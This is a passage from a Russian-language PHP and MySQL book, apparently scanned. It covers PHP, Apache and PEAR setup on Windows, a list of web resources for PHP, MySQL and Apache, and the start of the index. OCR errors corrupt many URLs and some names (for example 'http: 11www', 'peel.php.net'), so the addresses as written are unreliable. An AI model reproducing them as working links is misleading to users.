php_mysqli.dll. Удалите символы комментария с соответствующих строк. Кроме того, вы заметите, что строка для расширения php mysqli. dll отсутствует. Добавьте ее: extension=php_mysqli.dll Сохраните и закройте файл php.ini. 4. Если вы используете файловую систему NTFS, убедитесь, что пользователь, от имени которого запускается веб-сервер, обладает полномочиями по чтению файла php.ini. Добавление РНР в конфигурацию сервера Apache Вам может потребоваться отредактировать один из множества конфигурационных файлов Apache. Откройте файл httpd. conf в одном из редакторов. Обычно упомяну- тый файл расположен в каталоге c:\Program Files\Apache Software Foundation\ Apache2.2\conf\. Найдите в нем следующие строки: LoadModule php5_module с:/php/php5apache2_2.dll PHPIniDir ”c:/php/" AddType application/x-httpd-php .php Если эти строки в файле отсутствуют, добавьте их, сохраните файл и перезапусти- те сервер Apache. 830 Часть VI. Приложения
Убедитесь, что все работает После запуска сервера Apache следует убедиться, что РНР работает корректно. Для этого потребуется создать сценарий test.php с одной-единственной строкой: <? phpinfo(); ?> Файл должен быть помещен в корневой каталог документов (обычно это С: / Program Files/Apache Software Foundation/Apache2.2/htdocs). Далее загрузите его в браузер, указав следующий URL-адрес: http://localhost/test.php или: http: //ip-адрес-вашего-компьютера/test .php Если в окне браузера выводится страница, похожая на показанную на рис. А.2, значит, РНР функционирует нормально. Инсталляция PEAR В состав дистрибутива РНР5 входит программа установки пакетов репозитория PHP-расширений и приложений (РНР Extension and Application Repository — PEAR). Если вы работаете в среде Windows, перейдите в режим командной строки и введите: C:\php\go-pear Сценарий go-pear задаст несколько простых вопросов, связанных с тем, куда должны быть помещены программа установки и стандартные классы PEAR, после чего сценарий загрузит и установит требуемые файлы. На этом этапе вы должны иметь программу установки пакетов и базовые библиоте- ки PEAR. Пакеты затем можно будет устанавливать с помощью следующей команды: pear install пакет где пакет должен заменяться реальным именем пакета, который требуется уста- новить. Для получения списка всех доступных пакетов служит такая команда: pear list-all Чтобы просмотреть, какие пакеты установлены, воспользуйтесь командой: pear list Для установки пакета Mail_Mime, речь о котором шла в главе 30, введите: pear install Mail_Mime Пакет DB, упомянутый в главе 11, должен устанавливаться аналогично: pear install MDB2 Если необходимо проверить доступность более новой версии любого установлен- ного пакета, воспользуйтесь следующей командой: pear upgrade пакет Если описанная выше процедура не работает, мы рекомендуем выгрузить пакеты PEAR вручную, воспользовавшись следующим URL-адресом: http://pear.php.net/packages.php Приложение А. Инсталляция PHP и MySQL 831
Вы должны попасть на страницу со списком доступных пакетов. Например, при решении ряда задач в этой книге мы пользовались пакетом Mail_Mime. Найдите на странице ссылку на этот пакет и щелкните на “Download Latest” (“Загрузить послед- нюю версию”) для загрузки копии. Полученный zip-файл потребуется распаковать и поместить результат в какой-нибудь каталог, входящий в include path. Вы должны создать каталог с именем с: \php\pear или каким-нибудь подобным. В случае загрузки пакетов вручную мы рекомендуем помещать каждый пакет в свой подкаталог, распо- ложенный внутри каталога с: \php\pear. Библиотека PEAR имеет стандартную струк- туру, которая предполагает размещение отдельных пакетов в собственных подкатало- гах (как это делает программа установки), поэтому мы рекомендуем придерживаться этого соглашения. Например, пакет Mail_Mime относится к разделу Mail и должен размещаться в каталоге с: \php\pear\Mail. Настройка других конфигураций Системы РНР и MySQL можно настроить на функционирование с другими веб-сер- верами, такими как Omni, HTTPD и Netscape Enterprise Server. Мы не рассматриваем эти вопросы в данном приложении, однако найти необходимую информацию мож- но на официальных веб-сайтах MySQL и РНР, которые доступны, соответственно, по следующим адресам: http: //www. mysql. com и http: / /www. php. net. 832 Часть VI. Приложения
Ресурсы в Интернете В данном приложении приведены адреса некоторых из великого множества ре- сурсов, доступных в Интернете, которые содержат обучающие системы, статьи, новости и примеры PHP-кода. Это лишь небольшая часть того, что можно найти в Интернете. Мы не можем привести все ссылки, так как печатный объем книги огра- ничен. Более того, каждый день возникают все новые и новые сайты, посвященные РНР и MySQL, поскольку число веб-разработчиков, использующих РНР и MySQL и иже с ними, постоянно растет. Ресурсы, посвященные РНР PHP.Net — http://www.php.net — основной сайт, посвященный РНР. Из него можно загрузить исполняемые файлы и исходный код РНР, справочное руково- дство, архивы списков рассылки и последние новости, касающиеся РНР. Zend.Сот — http://www.zend.com — сайт механизма Zend, под управлением которого работает РНР. Этот портал содержит форумы, а также базу данных примеров классов и кода, которые можно свободно использовать. PEAR — http: / /pear. php. net — репозиторий PHP-расширений и приложений (РНР Extension and Application Repository — PEAR). Это официальный сайт PHP-расширений. PECL — http: / /peel. php. net — родственный сайт PEAR. Сайт PEAR предлага- ет классы, написанные на РНР, а сайт PECL — расширения, реализованные на языке С. Классы PECL иногда сложны в установке, однако они предлагают бо- лее широкую функциональность и практически всегда мощнее своих аналогов на РНР PHPCommunity — http://www.phpcommunity.org — новый сайт сообщества разработчиков на РНР. php|architect — http://www.phparch.com — журнал, посвященный РНР. Этот сайт предлагает бесплатные статьи; на нем также можно подписаться на полу- чение всего журнала в печатном или PDF-формате. РНР Magazine — http://www.phpmag.com — еще один журнал, посвященный РНР, который также доступен в электронном и печатном виде. PHPWizard.net — http: / / www. phpwi zard. net — источник многих хороших PHP- приложений, например, phpChat и phpIRC. Приложение Б. Ресурсы в Интернете 833
PHPMyAdmin.Net — http: //m . phpmyadmin. net — домашний сайт популярно- го PHP-интерфейса для MySQL. PHPBuilder.com — http: 11www. phpbuilder. com — портал обучающих курсов по РНР. На этом сайте можно найти ответы практически на любые вопросы. Кроме того, поддерживается форум, в который можно посылать свои вопросы. DevShed.com — http://www.devshed.com — портал, содержащий замечательные обучающие руководства по РНР, MySQL, Perl и другим языкам программирования. РХ-РНР Code Exchange — http://px.sklar.com — хороший сайт, с которого стоит начинать. Здесь много примеров сценариев и полезных функций. Сайт содержит удобную поисковую систему. The РНР Resource — http://www.php-resource.de — удобный источник обу- чающих руководств, статей и сценариев. Единственная “проблема” заключается в языке — сайт реализован на немецком. Для его просмотра можно воспользо- ваться сайтом с системой перевода. Правда, чтение предлагаемых PHP-кодов не должно составить труда. WeberDev.com — http://www.WeberDev.com — известный ранее как Berber’s РНР sample page, этот сайт вырос буквально из ничего в место для обучающих руководств и примеров кода. Он предназначен для пользователей РНР и MySQL и покрывает вопросы, связанные с безопасностью и базами данных. HotScripts.com — http: //www. hotscripts. com — хороший набор сценариев, раз- битый по категориям. Сайт содержит сценарии на таких языках, как РНР, ASP. NET и Perl. На нем представлена замечательная коллекция PHP-сценариев. Сайт часто обновляется, поэтому мы рекомендуем его регулярно посещать тем, кто ищет примеры сценариев. РНР Base Library — http: //phplib. sourceforge. net — сайт, который исполь- зуется разработчиками крупных проектов на РНР. Он содержит объемную биб- лиотеку альтернативных средств для управления сеансами, а также инструмен- ты создания шаблонов и абстрактного слоя баз данных. РНР Center — http://www.php-center.de — еще один немецкоязычный пор- тал, содержащий обучающие руководства, сценарии, советы и многое другое. РНР Homepage — http; //www. php-homepage. de — очередной немецкоязычный сайт, посвященный РНР. Содержит сценарии, статьи, новости и многое другое. Имеется раздел быстрых ссылок. PHPIndex.com — http: / /www. phpindex. com — удобный французский портал с ог- ромным количеством материала, посвященного РНР. Он содержит новости, отве- ты на часто задаваемые вопросы, статьи, вакансии рабочих мест и многое другое. WebMonkey.com — http://www.webmonkey.com — портал с большим количест- вом веб-ресурсов, обучающих руководств, примеров кода и т.д. Сайт покрывает вопросы разработки, программирования, интерфейса к базам данных, мульти- медиа и множество других. The РНР Club — http://www.phpclub.net — сайт, содержащий множество ре- сурсов для начинающих программистов на РНР: новости, обзоры книг, приме- ры кода, форумы, ответы на часто задаваемые вопросы, а также руководства для начинающих. 834 Часть VI. Приложения
РНР Classes Repository — http: I/phpclasses . upperdesign. com — основной це- лью этого сайта является распространение бесплатных классов, реализованных на РНР. Если вы разрабатываете код или ваш проект требует создания классов, обязательно посетите этот сайт. Он содержит удобную поисковую систему. The РНР Resource Index — http: / /php. resourceindex. com — портал сценари- ев, классов и документации. Он удобно разбит по категориям, что сокращает время поиска. РНР Developer — http: I /www. phpdeveloper. org — еще один портал, посвящен- ный РНР, который содержит новости, статьи, обучающие руководства. Evil Walrus — http://www.evilwalrus.com — хороший портал сценариев на РНР. SourceForge — http://sourceforge.net — источник ресурсов с открытым ис- ходным кодом. SourceForge не только помогает найти требуемый код, но и пре- доставляет доступ к CVS, спискам рассылки и машинам для разработчиков про- граммного обеспечения с открытым исходным кодом. Codewalkers — http://codewalkers.com/ — сайт, содержащий статьи, обзоры по книгам, руководства и раздел РНР. Contest, где благодаря своим знаниям можно что-нибудь выиграть. Соревнования по кодам проводятся каждые две недели. РНР Developer’s Network Unified Forums — http: I/forums.devnetwbrk.net/ index. php — содержит дискуссии по всем вопросам, так или иначе связанным с РНР. РНР Kitchen — http: / /www. phpkitchen. com/ — Статьи, новости и другие мате- риалы по РНР. Postnuke — http: / /www. postnuke. com/ — часто используемая система управле- ния содержимым на РНР. РНР Application Tools — http: //www.php-tools .de/ — набор полезных PHP- классов. Ресурсы, посвященные MySQL и SQL Сайт MySQL — http: / /www.mysql.com — официальный веб-сайт, посвященный MySQL. Содержит отличную документацию, поддержку и большой объем другой информации. Рекомендуется всем, кто использует MySQL; особенно полезны раздел сайта, ориентированный на разработчиков, и архив списков рассылки. The SQL Course — http: //sqlcourse.com — сайт, предлагающий вводный обу- чающий курс SQL с хорошо понятными инструкциями. Позволяет проверить изученный материал на встроенном интерпретаторе SQL. Расширенная версия находится по адресу http: //www. sqlcourse2 . com. SearchDatabase.com — http: / /searchdatabase. com — хороший портал с обили- ем полезной информации по базам данных. Он предлагает Отличные обучаю- щие руководства, советы, официальные издания, ответы на часто задаваемые вопросы, обзоры и так далее. Рекомендуем посетить! Приложение Б. Ресурсы в Интернете 835
Ресурсы, посвященные Apache Apache Software — http: I/www.apache.org — сайт, с которого следует начать, если вам нужны исходные коды или бинарные файлы сервера Apache. Сайт так- же содержит онлайновую документацию. Apache Week — http: / / www. apacheweek. com — электронный еженедельный журнал, полезный для тех, кто работает с сервером Apache или использует его службы. Apache Today — http: 11www. apachetoday. com — ежедневно обновляемый ис- точник новостей и другой информации по Apache. Для отправки вопросов не- обходимо предварительно зарегистрироваться. Разработка веб-приложений Philip and Alex’s Guide to Web Publishing (Путеводитель по веб-публикациям от Филиппа и Алекса) — http: //philip. greenspun. сот/panda/ — остроумный пу- теводитель по методам разработки программного обеспечения для Веб. Одна из нескольких книг по данной теме, подготовленная в соавторстве с Samoyed. 836 Часть VI. Приложения
Предметный указатель А Ajax (Asynchronous JavaScript and XML), 786; 791 AMANDA (Advanced Maryland Automated Network Disk Archiver), 348 Apache инсталляция, 815 под Windows, 827 ASP (Active Server Pages), 43 c CA (Certifying Authority), 345 CSR (Certificate Signing Request), 346 CSS (Cascading Style Sheets), 515; 788; 789 Cookie-набор, 484 использование в сеансах, 485 установка из РНР, 484 D DDL (Data Definition Language), 246 DES (Data Encryption Standard), 342 DHTML, 788 DML (Data Manipulation Language), 246 DMZ (Demilitarized Zone), 373 DOM (Document Object Model), 788 DTD (Document Type Definition), 716 F FAT (file allocation table), 97 FTP (File Transfer Protocol), 84; 432; 439 FTP-сервер подключение, 442 регистрация, 443 G GPG (Gnu Privacy Guard), 404 H HTML (Hypertext Markup Language), 715; 746 HTTP (Hypertext Transfer Protocol), 84; 432; 787 -< z . • I IDE (Integrated Development Environment), 513 IMAP (Internet Message Access Protocol), 607 IMAP4, 433 IP (Internet Protocol), 398 M MySQL, 226; 28g; 299; 303; 455; 457; 504; 523 v идентификаторы, 239 инсталляция на Unix-машине, 817 под Windows, 826 N NFS (Network File System), 97 NNTP (Network News Transfer Protocol), 433 О ODBC (Open Database Connectivity), 279 P PDF (Portable Document Format), 713 PEAR (PHP Extension and Application Repository) инсталляция, 831 PGP (Pretty Good Privacy), 403 PHP, 504 инсталляция на Unix-машине, 819 под Windows, 829 операторы PHP, 43 типы данных РНР, 51 РНР-дескриптор, 42 POP3 (Post Office Protocol), 433; 607 PostScript, 717 R RAID (Redundant Array of Inexpensive Disks), 348 RDBMS (Relational database management system), 245 REST (Representational State Transfer), 746 RTF (Rich Text Format), 713 Предметный указатель 837